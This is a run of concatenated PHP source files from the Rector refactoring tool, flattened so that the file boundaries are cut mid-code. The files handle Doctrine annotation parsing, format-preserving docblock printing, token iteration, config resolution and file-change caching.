2)); } else { $key = $rawKey; } if (\is_string($value) && $valueQuoteKind === String_::KIND_SINGLE_QUOTED) { $value = \trim($value, "'"); } if ($key !== null) { return new ArrayItemNode($value, $key); } return new ArrayItemNode($value); } /** * @param mixed $value */ private function isQuotedWith($value, string $quotes) : bool { if (!\is_string($value)) { return \false; } if (\strncmp($value, $quotes, \strlen($quotes)) !== 0) { return \false; } return \substr_compare($value, $quotes, -\strlen($quotes)) === 0; } } classAnnotationMatcher = $classAnnotationMatcher; } public function autowire(StaticDoctrineAnnotationParser $staticDoctrineAnnotationParser, \Rector\BetterPhpDocParser\PhpDocParser\StaticDoctrineAnnotationParser\ArrayParser $arrayParser) : void { $this->staticDoctrineAnnotationParser = $staticDoctrineAnnotationParser; $this->arrayParser = $arrayParser; } /** * @return string|mixed[]|ConstExprNode|DoctrineAnnotationTagValueNode|StringNode */ public function parseValue(BetterTokenIterator $tokenIterator, Node $currentPhpNode) { $currentTokenValue = $tokenIterator->currentTokenValue(); // temporary hackaround multi-line doctrine annotations if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_END)) { return $currentTokenValue; } // consume the token $isOpenCurlyArray = $tokenIterator->isCurrentTokenType(Lexer::TOKEN_OPEN_CURLY_BRACKET); if ($isOpenCurlyArray) { return $this->arrayParser->parseCurlyArray($tokenIterator, $currentPhpNode); } $tokenIterator->next(); // normalize value $constExprNode = $this->matchConstantValue($currentTokenValue); if ($constExprNode instanceof ConstExprNode) { return $constExprNode; } $currentTokenValue = $this->parseStringValue($tokenIterator, $currentTokenValue); // nested entity!, supported in attribute since PHP 8.1 if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_OPEN_PARENTHESES)) { return $this->parseNestedDoctrineAnnotationTagValueNode($currentTokenValue, $tokenIterator, $currentPhpNode); } $start = $tokenIterator->currentPosition(); // from "quote to quote" if ($currentTokenValue === '"') { do { $tokenIterator->next(); } while (\strpos($tokenIterator->currentTokenValue(), '"') === \false); } $end = $tokenIterator->currentPosition(); if ($start + 1 < $end) { return new StringNode($tokenIterator->printFromTo($start, $end)); } return $currentTokenValue; } private function parseStringValue(BetterTokenIterator $tokenIterator, string $currentTokenValue) : string { if (\strncmp($currentTokenValue, '"', \strlen('"')) === 0 && \substr_compare($currentTokenValue, '"', -\strlen('"')) !== 0) { $currentTokenValue = $this->parseMultilineOrWhiteSpacedString($tokenIterator, $currentTokenValue); } else { while ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_DOUBLE_COLON) || $tokenIterator->isCurrentTokenType(Lexer::TOKEN_IDENTIFIER)) { $currentTokenValue .= $tokenIterator->currentTokenValue(); $tokenIterator->next(); } } return $currentTokenValue; } private function parseMultilineOrWhiteSpacedString(BetterTokenIterator $tokenIterator, string $currentTokenValue) : string { while (\strncmp($currentTokenValue, '"', \strlen('"')) === 0 && \substr_compare($currentTokenValue, '"', -\strlen('"')) !== 0) { if (!$tokenIterator->isCurrentTokenType(Lexer::TOKEN_PHPDOC_EOL)) { $currentTokenValue .= ' '; } if (\strncmp($currentTokenValue, '"', \strlen('"')) === 0 && \strpos($tokenIterator->currentTokenValue(), '"') !== \false && $currentTokenValue !== $tokenIterator->currentTokenValue()) { //starts with '"' and current token contains '"', should be the end $currentTokenValue .= \substr($tokenIterator->currentTokenValue(), 0, (int) \strpos($tokenIterator->currentTokenValue(), '"') + 1); $tokenIterator->next(); break; } $currentTokenValue .= $tokenIterator->currentTokenValue(); $tokenIterator->next(); } if (\strncmp($currentTokenValue, '"', \strlen('"')) === 0 && \substr_compare($currentTokenValue, '"', -\strlen('"')) === 0) { return \trim(\str_replace('"', '', $currentTokenValue)); } return $currentTokenValue; } private function parseNestedDoctrineAnnotationTagValueNode(string $currentTokenValue, BetterTokenIterator $tokenIterator, Node $currentPhpNode) : DoctrineAnnotationTagValueNode { // @todo $annotationShortName = $currentTokenValue; $values = $this->staticDoctrineAnnotationParser->resolveAnnotationMethodCall($tokenIterator, $currentPhpNode); $fullyQualifiedAnnotationClass = $this->classAnnotationMatcher->resolveTagFullyQualifiedName($annotationShortName, $currentPhpNode); // keep the last ")" $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL); if ($tokenIterator->currentTokenValue() === ')') { $tokenIterator->consumeTokenType(Lexer::TOKEN_CLOSE_PARENTHESES); } // keep original name to differentiate between short and FQN class $identifierTypeNode = new IdentifierTypeNode($annotationShortName); $identifierTypeNode->setAttribute(PhpDocAttributeKey::RESOLVED_CLASS, $fullyQualifiedAnnotationClass); return new DoctrineAnnotationTagValueNode($identifierTypeNode, $annotationShortName, $values); } private function matchConstantValue(string $currentTokenValue) : ?\PHPStan\PhpDocParser\Ast\ConstExpr\ConstExprNode { if (\strtolower($currentTokenValue) === 'false') { return new ConstExprFalseNode(); } if (\strtolower($currentTokenValue) === 'true') { return new ConstExprTrueNode(); } if (!\is_numeric($currentTokenValue)) { return null; } if ((string) (int) $currentTokenValue !== $currentTokenValue) { return null; } return new ConstExprIntegerNode($currentTokenValue); } } children === []) { return \true; } foreach ($phpDocNode->children as $phpDocChildNode) { if ($phpDocChildNode instanceof PhpDocTextNode) { if ($phpDocChildNode->text !== '') { return \false; } } else { return \false; } } return \true; } } \r\n|\n)#"; /** * @var int */ private $tokenCount = 0; /** * @var int */ private $currentTokenPosition = 0; /** * @var mixed[] */ private $tokens = []; /** * @var \Rector\BetterPhpDocParser\PhpDocInfo\PhpDocInfo|null */ private $phpDocInfo; /** * @readonly * @var \Rector\PhpDocParser\PhpDocParser\PhpDocNodeTraverser */ private $changedPhpDocNodeTraverser; public function __construct(\Rector\BetterPhpDocParser\Printer\EmptyPhpDocDetector $emptyPhpDocDetector, \Rector\BetterPhpDocParser\Printer\DocBlockInliner $docBlockInliner, \Rector\BetterPhpDocParser\Printer\RemoveNodesStartAndEndResolver $removeNodesStartAndEndResolver, ChangedPhpDocNodeVisitor $changedPhpDocNodeVisitor) { $this->emptyPhpDocDetector = $emptyPhpDocDetector; $this->docBlockInliner = $docBlockInliner; $this->removeNodesStartAndEndResolver = $removeNodesStartAndEndResolver; $this->changedPhpDocNodeVisitor = $changedPhpDocNodeVisitor; $changedPhpDocNodeTraverser = new PhpDocNodeTraverser(); $changedPhpDocNodeTraverser->addPhpDocNodeVisitor($this->changedPhpDocNodeVisitor); $this->changedPhpDocNodeTraverser = $changedPhpDocNodeTraverser; } public function printNew(PhpDocInfo $phpDocInfo) : string { $docContent = (string) $phpDocInfo->getPhpDocNode(); if ($phpDocInfo->isSingleLine()) { return $this->docBlockInliner->inline($docContent); } if ($phpDocInfo->getNode() instanceof InlineHTML) { return ''; } return $docContent; } /** * As in php-parser * * ref: https://github.com/nikic/PHP-Parser/issues/487#issuecomment-375986259 * - Tokens[node.startPos .. subnode1.startPos] * - Print(subnode1) * - Tokens[subnode1.endPos .. subnode2.startPos] * - Print(subnode2) * - Tokens[subnode2.endPos .. node.endPos] */ public function printFormatPreserving(PhpDocInfo $phpDocInfo) : string { if ($phpDocInfo->getTokens() === []) { // completely new one, just print string version of it if ($phpDocInfo->getPhpDocNode()->children === []) { return ''; } if ($phpDocInfo->getNode() instanceof InlineHTML) { return 'getPhpDocNode() . \PHP_EOL . '?>'; } return (string) $phpDocInfo->getPhpDocNode(); } $phpDocNode = $phpDocInfo->getPhpDocNode(); $this->tokens = $phpDocInfo->getTokens(); $this->tokenCount = $phpDocInfo->getTokenCount(); $this->phpDocInfo = $phpDocInfo; $this->currentTokenPosition = 0; $phpDocString = $this->printPhpDocNode($phpDocNode); // hotfix of extra space with callable () return Strings::replace($phpDocString, self::CALLABLE_REGEX, 'callable('); } /** * @return Comment[] */ public function printToComments(PhpDocInfo $phpDocInfo) : array { $printedPhpDocContents = $this->printFormatPreserving($phpDocInfo); return [new Comment($printedPhpDocContents)]; } private function getCurrentPhpDocInfo() : PhpDocInfo { if (!$this->phpDocInfo instanceof PhpDocInfo) { throw new ShouldNotHappenException(); } return $this->phpDocInfo; } private function printPhpDocNode(PhpDocNode $phpDocNode) : string { // no nodes were, so empty doc if ($this->emptyPhpDocDetector->isPhpDocNodeEmpty($phpDocNode)) { return ''; } $output = ''; // node output $nodeCount = \count($phpDocNode->children); foreach ($phpDocNode->children as $key => $phpDocChildNode) { $output .= $this->printDocChildNode($phpDocChildNode, $key + 1, $nodeCount); } $output = $this->printEnd($output); // fix missing start if (!$this->hasDocblockStart($output) && $output !== '') { $output = '/**' . $output; } // fix missing end if (\strncmp($output, '/**', \strlen('/**')) === 0 && !StringUtils::isMatch($output, self::CLOSING_DOCBLOCK_REGEX)) { $output .= ' */'; } return Strings::replace($output, self::NEW_LINE_WITH_SPACE_REGEX, static function (array $match) { return $match['new_line']; }); } private function hasDocblockStart(string $output) : bool { foreach (self::DOCBLOCK_STARTS as $docblockStart) { if (\strncmp($output, $docblockStart, \strlen($docblockStart)) === 0) { return \true; } } return \false; } private function printDocChildNode(PhpDocChildNode $phpDocChildNode, int $key = 0, int $nodeCount = 0) : string { $output = ''; $shouldReprintChildNode = $this->shouldReprint($phpDocChildNode); if ($phpDocChildNode instanceof PhpDocTagNode && ($shouldReprintChildNode && ($phpDocChildNode->value instanceof ParamTagValueNode || $phpDocChildNode->value instanceof ThrowsTagValueNode || $phpDocChildNode->value instanceof VarTagValueNode || $phpDocChildNode->value instanceof ReturnTagValueNode || $phpDocChildNode->value instanceof PropertyTagValueNode))) { // the type has changed → reprint $phpDocChildNodeStartEnd = $phpDocChildNode->getAttribute(PhpDocAttributeKey::START_AND_END); // bump the last position of token after just printed node if ($phpDocChildNodeStartEnd instanceof StartAndEnd) { $this->currentTokenPosition = $phpDocChildNodeStartEnd->getEnd(); } return $this->standardPrintPhpDocChildNode($phpDocChildNode); } /** @var StartAndEnd|null $startAndEnd */ $startAndEnd = $phpDocChildNode->getAttribute(PhpDocAttributeKey::START_AND_END); if ($startAndEnd instanceof StartAndEnd && !$shouldReprintChildNode) { $isLastToken = $nodeCount === $key; // correct previously changed node $this->correctPreviouslyReprintedFirstNode($key, $startAndEnd); $output = $this->addTokensFromTo($output, $this->currentTokenPosition, $startAndEnd->getEnd(), $isLastToken); $this->currentTokenPosition = $startAndEnd->getEnd(); return \rtrim($output); } if ($startAndEnd instanceof StartAndEnd) { $this->currentTokenPosition = $startAndEnd->getEnd(); } $standardPrintedPhpDocChildNode = $this->standardPrintPhpDocChildNode($phpDocChildNode); return $output . $standardPrintedPhpDocChildNode; } private function printEnd(string $output) : string { $lastTokenPosition = $this->getCurrentPhpDocInfo()->getPhpDocNode()->getAttribute(PhpDocAttributeKey::LAST_PHP_DOC_TOKEN_POSITION); if ($lastTokenPosition === null) { $lastTokenPosition = $this->currentTokenPosition; } if ($lastTokenPosition === 0) { return $output . "\n */"; } return $this->addTokensFromTo($output, $lastTokenPosition, $this->tokenCount, \true); } private function addTokensFromTo(string $output, int $from, int $to, bool $shouldSkipEmptyLinesAbove) : string { // skip removed nodes $positionJumpSet = []; $removedStartAndEnds = $this->removeNodesStartAndEndResolver->resolve($this->getCurrentPhpDocInfo()->getOriginalPhpDocNode(), $this->getCurrentPhpDocInfo()->getPhpDocNode(), $this->tokens); foreach ($removedStartAndEnds as $removedStartAndEnd) { $positionJumpSet[$removedStartAndEnd->getStart()] = $removedStartAndEnd->getEnd(); } // include also space before, in case of inlined docs if (isset($this->tokens[$from - 1]) && $this->tokens[$from - 1][1] === Lexer::TOKEN_HORIZONTAL_WS) { --$from; } // skip extra empty lines above if this is the last one if ($shouldSkipEmptyLinesAbove && \strpos((string) $this->tokens[$from][0], "\n") !== \false && \strpos((string) $this->tokens[$from + 1][0], "\n") !== \false) { ++$from; } return $this->appendToOutput($output, $from, $to, $positionJumpSet); } /** * @param array $positionJumpSet */ private function appendToOutput(string $output, int $from, int $to, array $positionJumpSet) : string { for ($i = $from; $i < $to; ++$i) { while (isset($positionJumpSet[$i])) { $i = $positionJumpSet[$i]; } $output .= $this->tokens[$i][0] ?? ''; } return $output; } private function correctPreviouslyReprintedFirstNode(int $key, StartAndEnd $startAndEnd) : void { if ($this->currentTokenPosition !== 0) { return; } if ($key === 1) { return; } $startTokenPosition = $startAndEnd->getStart(); $tokens = $this->getCurrentPhpDocInfo()->getTokens(); if (!isset($tokens[$startTokenPosition - 1])) { return; } $previousToken = $tokens[$startTokenPosition - 1]; if ($previousToken[1] === Lexer::TOKEN_PHPDOC_EOL) { --$startTokenPosition; } $this->currentTokenPosition = $startTokenPosition; } private function shouldReprint(PhpDocChildNode $phpDocChildNode) : bool { $this->changedPhpDocNodeTraverser->traverse($phpDocChildNode); return $this->changedPhpDocNodeVisitor->hasChanged(); } private function standardPrintPhpDocChildNode(PhpDocChildNode $phpDocChildNode) : string { $printedNode = (string) $phpDocChildNode; if ($this->getCurrentPhpDocInfo()->isSingleLine()) { return ' ' . $printedNode; } return self::NEWLINE_WITH_ASTERISK . ($printedNode === '' ? '' : ' ' . $printedNode); } } children, $currentPhpDocNode->children); $lastEndPosition = null; foreach ($removedChildNodes as $removedChildNode) { /** @var StartAndEnd|null $removedPhpDocNodeInfo */ $removedPhpDocNodeInfo = $removedChildNode->getAttribute(PhpDocAttributeKey::START_AND_END); // it's not there when comment block has empty row "\s\*\n" if (!$removedPhpDocNodeInfo instanceof StartAndEnd) { continue; } // change start position to start of the line, so the whole line is removed $seekPosition = $removedPhpDocNodeInfo->getStart(); while ($seekPosition >= 0 && $tokens[$seekPosition][1] !== Lexer::TOKEN_HORIZONTAL_WS) { if ($tokens[$seekPosition][1] === Lexer::TOKEN_PHPDOC_EOL) { break; } // do not colide if ($lastEndPosition < $seekPosition) { break; } --$seekPosition; } $lastEndPosition = $removedPhpDocNodeInfo->getEnd(); $removedNodePositions[] = new StartAndEnd(\max(0, $seekPosition - 1), $removedPhpDocNodeInfo->getEnd()); } return $removedNodePositions; } } */ public const CLASS_NAMES_TO_SILENT_KEYS = ['Symfony\\Component\\Routing\\Annotation\\Route' => 'path']; } > */ public const TYPE_AWARE_NODES = [VarTagValueNode::class, ParamTagValueNode::class, ReturnTagValueNode::class, ThrowsTagValueNode::class, PropertyTagValueNode::class, TemplateTagValueNode::class]; /** * @var string[] */ public const TYPE_AWARE_DOCTRINE_ANNOTATION_CLASSES = ['JMS\\Serializer\\Annotation\\Type', 'Doctrine\\ORM\\Mapping\\OneToMany', 'Symfony\\Component\\Validator\\Constraints\\Choice', 'Symfony\\Component\\Validator\\Constraints\\Email', 'Symfony\\Component\\Validator\\Constraints\\Range']; } $tokens */ public function __construct(array $tokens, int $index = 0) { if ($tokens === []) { $index = 0; } parent::__construct($tokens, $index); } /** * @param int[] $types */ public function isNextTokenTypes(array $types) : bool { foreach ($types as $type) { if ($this->isNextTokenType($type)) { return \true; } } return \false; } public function isTokenTypeOnPosition(int $tokenType, int $position) : bool { $tokens = $this->getTokens(); $token = $tokens[$position] ?? null; if ($token === null) { return \false; } return $token[1] === $tokenType; } public function isNextTokenType(int $tokenType) : bool { if ($this->nextTokenType() === null) { return \false; } return $this->nextTokenType() === $tokenType; } public function printFromTo(int $from, int $to) : string { if ($to < $from) { throw new ShouldNotHappenException('Arguments are flipped'); } $tokens = $this->getTokens(); $content = ''; foreach ($tokens as $key => $token) { if ($key < $from) { continue; } if ($key >= $to) { continue; } $content .= $token[0]; } return $content; } public function currentPosition() : int { return $this->currentTokenIndex(); } public function count() : int { return \count($this->getTokens()); } /** * @return array */ public function partialTokens(int $start, int $end) : array { return \array_slice($this->getTokens(), $start, $end); } public function containsTokenType(int $type) : bool { foreach ($this->getTokens() as $token) { if ($token[1] === $type) { return \true; } } return \false; } private function nextTokenType() : ?int { $tokens = $this->getTokens(); // does next token exist? $nextIndex = $this->currentPosition() + 1; if (!isset($tokens[$nextIndex])) { return null; } $this->pushSavePoint(); $this->next(); $nextTokenType = $this->currentTokenType(); $this->rollback(); return $nextTokenType; } } values = $values; $this->originalContent = $originalContent; $this->silentKey = $silentKey; } /** * @api */ public function removeValue(string $desiredKey) : void { foreach ($this->values as $key => $value) { if (!$this->isValueKeyEquals($value, $desiredKey)) { continue; } unset($this->values[$key]); // invoke reprint $this->setAttribute(PhpDocAttributeKey::ORIG_NODE, null); } } /** * @return ArrayItemNode[] */ public function getValues() : array { return $this->values; } /** * @return ArrayItemNode[] */ public function getValuesWithSilentKey() : array { if ($this->silentKey === null) { return $this->values; } // to keep original values untouched, unless not changed $silentKeyAwareValues = $this->values; foreach ($silentKeyAwareValues as $silentKeyAwareValue) { if ($silentKeyAwareValue->key === null) { $silentKeyAwareValue->key = $this->silentKey; break; } } return $silentKeyAwareValues; } public function getValue(string $desiredKey) : ?ArrayItemNode { foreach ($this->values as $value) { if ($this->isValueKeyEquals($value, $desiredKey)) { return $value; } } return null; } public function getSilentValue() : ?ArrayItemNode { foreach ($this->values as $value) { if ($value->key === null) { return $value; } } return null; } public function markAsChanged() : void { $this->hasChanged = \true; } /** * @param mixed[] $values */ protected function printValuesContent(array $values) : string { $itemContents = ''; \end($values); $lastItemKey = \key($values); \reset($values); foreach ($values as $key => $value) { if (\is_int($key)) { $itemContents .= $this->stringifyValue($value); } else { $itemContents .= $key . '=' . $this->stringifyValue($value); } if ($lastItemKey !== $key) { $itemContents .= ', '; } } return $itemContents; } private function isValueKeyEquals(ArrayItemNode $arrayItemNode, string $desiredKey) : bool { if ($arrayItemNode->key instanceof StringNode) { return $arrayItemNode->key->value === $desiredKey; } return $arrayItemNode->key === $desiredKey; } /** * @param mixed $value */ private function stringifyValue($value) : string { // @todo resolve original casing if ($value === \false) { return 'false'; } if ($value === \true) { return 'true'; } if (\is_int($value)) { return (string) $value; } if (\is_float($value)) { return (string) $value; } if (\is_array($value)) { return $this->printValuesContent($value); } return (string) $value; } } arrayItemNodes = $arrayItemNodes; Assert::allIsInstanceOf($this->arrayItemNodes, ArrayItemNode::class); parent::__construct($this->arrayItemNodes); } public function __toString() : string { // possibly list items return $this->implode($this->values); } /** * @param mixed[] $array */ private function implode(array $array) : string { $itemContents = ''; \end($array); $lastItemKey = \key($array); \reset($array); foreach ($array as $key => $value) { if (\is_int($key)) { $itemContents .= (string) $value; } else { $itemContents .= $key . '=' . $value; } if ($lastItemKey !== $key) { $itemContents .= ', '; } } return '{' . $itemContents . '}'; } } preposition = $preposition; parent::__construct($name, $typeNode, $description); } public function __toString() : string { // @see https://github.com/rectorphp/rector/issues/3438 # 'as'/'of' $bound = $this->bound instanceof TypeNode ? ' ' . $this->preposition . ' ' . $this->bound : ''; $content = $this->name . $bound . ' ' . $this->description; return \trim($content); } } start = $start; $this->end = $end; if ($end < $start) { throw new ShouldNotHappenException(); } } public function getStart() : int { return $this->start; } public function getEnd() : int { return $this->end; } } types); } } isWrappedInBrackets = $isWrappedInBrackets; parent::__construct($types); } /** * Preserve common format */ public function __toString() : string { if (!$this->isWrappedInBrackets) { return \implode('|', $this->types); } return '(' . \implode('|', $this->types) . ')'; } public function isWrappedInBrackets() : bool { return $this->isWrappedInBrackets; } } name, '\\'); } } type instanceof CallableTypeNode) { return \sprintf('(%s)[]', (string) $this->type); } $typeAsString = (string) $this->type; if ($this->isGenericArrayCandidate($this->type)) { return \sprintf('array<%s>', $typeAsString); } if ($this->type instanceof ArrayTypeNode) { return $this->printArrayType($this->type); } if ($this->type instanceof \Rector\BetterPhpDocParser\ValueObject\Type\BracketsAwareUnionTypeNode) { return $this->printUnionType($this->type); } return $typeAsString . '[]'; } private function isGenericArrayCandidate(TypeNode $typeNode) : bool { $hasGenericTypeParent = (bool) $this->getAttribute(ArrayTypeMapper::HAS_GENERIC_TYPE_PARENT); if (!$hasGenericTypeParent) { return \false; } return $typeNode instanceof UnionTypeNode || $typeNode instanceof ArrayTypeNode; } private function printArrayType(ArrayTypeNode $arrayTypeNode) : string { $typeAsString = (string) $arrayTypeNode; $singleTypesAsString = \explode('|', $typeAsString); foreach ($singleTypesAsString as $key => $singleTypeAsString) { $singleTypesAsString[$key] = $singleTypeAsString . '[]'; } return \implode('|', $singleTypesAsString); } private function printUnionType(\Rector\BetterPhpDocParser\ValueObject\Type\BracketsAwareUnionTypeNode $bracketsAwareUnionTypeNode) : string { $unionedTypes = []; if ($bracketsAwareUnionTypeNode->isWrappedInBrackets()) { return $bracketsAwareUnionTypeNode . '[]'; } foreach ($bracketsAwareUnionTypeNode->types as $unionedType) { $unionedTypes[] = $unionedType . '[]'; } return \implode('|', $unionedTypes); } } createExplicitCallable(); } private function createExplicitCallable() : string { /** @var IdentifierTypeNode|GenericTypeNode $returnType */ $returnType = $this->returnType; $parameterTypeString = $this->createParameterTypeString(); $returnTypeAsString = (string) $returnType; if (\strpos($returnTypeAsString, '|') !== \false) { $returnTypeAsString = '(' . $returnTypeAsString . ')'; } $parameterTypeString = $this->normalizeParameterType($parameterTypeString, $returnTypeAsString); $returnTypeAsString = $this->normalizeReturnType($parameterTypeString, $returnTypeAsString); return \sprintf('%s%s%s', $this->identifier->name, $parameterTypeString, $returnTypeAsString); } private function createParameterTypeString() : string { $parameterTypeStrings = []; foreach ($this->parameters as $parameter) { $parameterTypeStrings[] = \trim((string) $parameter); } $parameterTypeString = \implode(', ', $parameterTypeStrings); return \trim($parameterTypeString); } private function normalizeParameterType(string $parameterTypeString, string $returnTypeAsString) : string { if ($parameterTypeString !== '') { return '(' . $parameterTypeString . ')'; } if ($returnTypeAsString === 'mixed') { return $parameterTypeString; } if ($returnTypeAsString === '') { return $parameterTypeString; } return '()'; } private function normalizeReturnType(string $parameterTypeString, string $returnTypeAsString) : string { if ($returnTypeAsString !== 'mixed') { return ':' . $returnTypeAsString; } if ($parameterTypeString !== '') { return ':' . $returnTypeAsString; } return ''; } } getFileName() === \false) { return $configFilePaths; } $generatedConfigDirectory = \dirname($generatedConfigReflectionClass->getFileName()); foreach (GeneratedConfig::EXTENSIONS as $extensionConfig) { /** @var string[] $includedFiles */ $includedFiles = $extensionConfig['extra']['includes'] ?? []; foreach ($includedFiles as $includedFile) { $includedFilePath = $this->resolveIncludeFilePath($extensionConfig, $generatedConfigDirectory, $includedFile); if ($includedFilePath === null) { /** @var string $installPath */ $installPath = $extensionConfig['install_path']; $includedFilePath = \sprintf('%s/%s', $installPath, $includedFile); } $configFilePaths[] = $includedFilePath; } } return $configFilePaths; } /** * @param array $extensionConfig */ private function resolveIncludeFilePath(array $extensionConfig, string $generatedConfigDirectory, string $includedFile) : ?string { if (!isset($extensionConfig['relative_install_path'])) { return null; } $includedFilePath = \sprintf('%s/%s/%s', $generatedConfigDirectory, (string) $extensionConfig['relative_install_path'], $includedFile); if (!\file_exists($includedFilePath)) { return null; } if (!\is_readable($includedFilePath)) { return null; } return $includedFilePath; } } resolveFromInputWithFallback($argvInput, 'rector.php'); return new BootstrapConfigs($mainConfigFile, []); } private function resolveFromInput(ArgvInput $argvInput) : ?string { $configFile = $this->getOptionValue($argvInput, ['--config', '-c']); if ($configFile === null) { return null; } Assert::fileExists($configFile); return \realpath($configFile); } private function resolveFromInputWithFallback(ArgvInput $argvInput, string $fallbackFile) : ?string { $configFile = $this->resolveFromInput($argvInput); if ($configFile !== null) { return $configFile; } return $this->createFallbackFileInfoIfFound($fallbackFile); } private function createFallbackFileInfoIfFound(string $fallbackFile) : ?string { $rootFallbackFile = \getcwd() . \DIRECTORY_SEPARATOR . $fallbackFile; if (!\is_file($rootFallbackFile)) { return null; } return $rootFallbackFile; } /** * @param string[] $optionNames */ private function getOptionValue(ArgvInput $argvInput, array $optionNames) : ?string { foreach ($optionNames as $optionName) { if ($argvInput->hasParameterOption($optionName, \true)) { return $argvInput->getParameterOption($optionName, null, \true); } } return null; } } setProviders = \array_merge($setProviders, $extraSetProviders); } /** * @return array */ public function provide() : array { return $this->setProviders; } /** * @return array */ public function provideSets() : array { $sets = []; foreach ($this->setProviders as $setProvider) { $sets = \array_merge($sets, $setProvider->provide()); } return $sets; } } |array, mixed[]>> */ public function resolveFromFilePathsIncludingConfiguration(array $configFilePaths) : array { Assert::allString($configFilePaths); Assert::allFileExists($configFilePaths); $combinedRectorRulesWithConfiguration = []; foreach ($configFilePaths as $configFilePath) { $rectorRulesWithConfiguration = $this->resolveFromFilePathIncludingConfiguration($configFilePath); $combinedRectorRulesWithConfiguration = \array_merge($combinedRectorRulesWithConfiguration, $rectorRulesWithConfiguration); } return $combinedRectorRulesWithConfiguration; } /** * @return array|array, mixed[]>> */ public function resolveFromFilePathIncludingConfiguration(string $configFilePath) : array { $rectorConfig = $this->loadRectorConfigFromFilePath($configFilePath); $rectorClassesWithOptionalConfiguration = $rectorConfig->getRectorClasses(); foreach ($rectorConfig->getRuleConfigurations() as $rectorClass => $configuration) { // remove from non-configurable, if added again with better config if (\in_array($rectorClass, $rectorClassesWithOptionalConfiguration)) { $rectorRulePosition = \array_search($rectorClass, $rectorClassesWithOptionalConfiguration, \true); if (\is_int($rectorRulePosition)) { unset($rectorClassesWithOptionalConfiguration[$rectorRulePosition]); } } $rectorClassesWithOptionalConfiguration[] = [$rectorClass => $configuration]; } // sort keys return \array_values($rectorClassesWithOptionalConfiguration); } private function loadRectorConfigFromFilePath(string $configFilePath) : RectorConfig { Assert::fileExists($configFilePath); $rectorConfig = new RectorConfig(); /** @var callable $configCallable */ $configCallable = (require $configFilePath); $configCallable($rectorConfig); return $rectorConfig; } } cacheStorage = $cacheStorage; } /** * @param CacheKey::* $variableKey * @return mixed|null */ public function load(string $key, string $variableKey) { return $this->cacheStorage->load($key, $variableKey); } /** * @param CacheKey::* $variableKey * @param mixed $data */ public function save(string $key, string $variableKey, $data) : void { $this->cacheStorage->save($key, $variableKey, $data); } public function clear() : void { $this->cacheStorage->clear(); } public function clean(string $cacheKey) : void { $this->cacheStorage->clean($cacheKey); } } fileSystem = $fileSystem; } /** * @api config factory */ public function create() : \Rector\Caching\Cache { $cacheDirectory = SimpleParameterProvider::provideStringParameter(Option::CACHE_DIR); $cacheClass = FileCacheStorage::class; if (SimpleParameterProvider::hasParameter(Option::CACHE_CLASS)) { $cacheClass = SimpleParameterProvider::provideStringParameter(Option::CACHE_CLASS); } if ($cacheClass === FileCacheStorage::class) { // ensure cache directory exists if (!$this->fileSystem->exists($cacheDirectory)) { $this->fileSystem->mkdir($cacheDirectory); } $fileCacheStorage = new FileCacheStorage($cacheDirectory, $this->fileSystem); return new \Rector\Caching\Cache($fileCacheStorage); } return new \Rector\Caching\Cache(new MemoryCacheStorage()); } } ensureIsPhp($filePath); $parametersHash = SimpleParameterProvider::hash(); return \sha1($filePath . $parametersHash . VersionResolver::PACKAGE_VERSION); } private function ensureIsPhp(string $filePath) : void { $fileExtension = \pathinfo($filePath, \PATHINFO_EXTENSION); if ($fileExtension === 'php') { return; } throw new ShouldNotHappenException(\sprintf( // getRealPath() cannot be used, as it breaks in phar 'Provide only PHP file, ready for Dependency Injection. "%s" given', $filePath )); } } */ private $cachableFiles = []; public function __construct(FileHashComputer $fileHashComputer, Cache $cache, FileHasher $fileHasher) { $this->fileHashComputer = $fileHashComputer; $this->cache = $cache; $this->fileHasher = $fileHasher; } public function cacheFile(string $filePath) : void { $filePathCacheKey = $this->getFilePathCacheKey($filePath); if (!isset($this->cachableFiles[$filePathCacheKey])) { return; } $hash = $this->hashFile($filePath); $this->cache->save($filePathCacheKey, CacheKey::FILE_HASH_KEY, $hash); } public function addCachableFile(string $filePath) : void { $filePathCacheKey = $this->getFilePathCacheKey($filePath); $this->cachableFiles[$filePathCacheKey] = \true; } public function hasFileChanged(string $filePath) : bool { $fileInfoCacheKey = $this->getFilePathCacheKey($filePath); $cachedValue = $this->cache->load($fileInfoCacheKey, CacheKey::FILE_HASH_KEY); if ($cachedValue !== null) { $currentFileHash = $this->hashFile($filePath); return $currentFileHash !== $cachedValue; } // we don't have a value to compare against. Be defensive and assume its changed return \true; } public function invalidateFile(string $filePath) : void { $fileInfoCacheKey = $this->getFilePathCacheKey($filePath); $this->cache->clean($fileInfoCacheKey); unset($this->cachableFiles[$fileInfoCacheKey]); } public function clear() : void { $this->cache->clear(); } /** * @api */ public function setFirstResolvedConfigFileInfo(string $filePath) : void { // the first config is core to all → if it was changed, just invalidate it $configHash = $this->fileHashComputer->compute($filePath); $this->storeConfigurationDataHash($filePath, $configHash); } private function resolvePath(string $filePath) : string { /** @var string|false $realPath */ $realPath = \realpath($filePath); if ($realPath === \false) { return $filePath; } return $realPath; } private function getFilePathCacheKey(string $filePath) : string { return $this->fileHasher->hash($this->resolvePath($filePath)); } private function hashFile(string $filePath) : string { return $this->fileHasher->hashFiles([$this->resolvePath($filePath)]); } private function storeConfigurationDataHash(string $filePath, string $configurationHash) : void { $key = CacheKey::CONFIGURATION_HASH_KEY . '_' . $this->getFilePathCacheKey($filePath); $this->invalidateCacheIfConfigurationChanged($key, $configurationHash); $this->cache->save($key, CacheKey::CONFIGURATION_HASH_KEY, $configurationHash); } private function invalidateCacheIfConfigurationChanged(string $key, string $configurationHash) : void { $oldCachedValue = $this->cache->load($key, CacheKey::CONFIGURATION_HASH_KEY); if ($oldCachedValue === null) { return; } if ($oldCachedValue === $configurationHash) { return; } // should be unique per getcwd() $this->clear(); } } changedFilesDetector = $changedFilesDetector; } /** * @param string[] $filePaths * @return string[] */ public function filterFilePaths(array $filePaths) : array { $changedFileInfos = []; $filePaths = \array_unique($filePaths); foreach ($filePaths as $filePath) { if (!$this->changedFilesDetector->hasFileChanged($filePath)) { continue; } $changedFileInfos[] = $filePath; $this->changedFilesDetector->invalidateFile($filePath); } return $changedFileInfos; } } firstDirectory = $firstDirectory; $this->secondDirectory = $secondDirectory; $this->filePath = $filePath; } public function getFirstDirectory() : string { return $this->firstDirectory; } public function getSecondDirectory() : string { return $this->secondDirectory; } public function getFilePath() : string { return $this->filePath; } } variableKey = $variableKey; $this->data = 